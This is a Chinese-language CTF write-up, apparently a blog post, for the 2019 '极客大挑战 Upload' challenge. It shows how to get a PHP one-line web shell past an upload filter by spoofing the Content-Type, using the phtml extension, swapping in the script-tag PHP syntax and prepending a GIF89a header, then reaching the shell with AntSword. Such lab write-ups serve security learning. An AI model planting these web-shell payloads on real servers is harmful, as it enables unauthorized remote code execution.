极客大挑战 2019 Upload 1题解


[极客大挑战 2019]Upload 1题解

前置知识

图片的文件头

GIF89a

文件上传后的常用路径

http://xxxx/upload/文件名

常见的php后缀

php2, php3, php3, php5, phps, pht, phtm, phtml

一句话木马被ban< ?

<script language="php">eval($_REQUEST[kb])</script>

题目详解

打开题目是文件上传,要求上传头像
写一个一句话木马

<?php @eval($_POST['kb']); ?>

直接上传,用burpsuite抓包,发现content-type,将其值改为image/jpeg,send发现
notphp
尝试将后缀改为phtml,发现
ban
将一句话木马改为

<script language="php">eval($_REQUEST[kb])</script>

重新提交,发现
notimage
猜测可能检查图片文件头,将一句话木马改为

GIF89a? <script language="php">eval($_REQUEST[kb])</script>

重新提交
success
猜测文件上传到/upload/文件名中,访问,找到文件。
利用蚁剑链接,在/中找到flag

参考:
https://blog.csdn.net/rfrder/article/details/109225258
https://www.cnblogs.com/yunqian2017/p/13308641.html


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !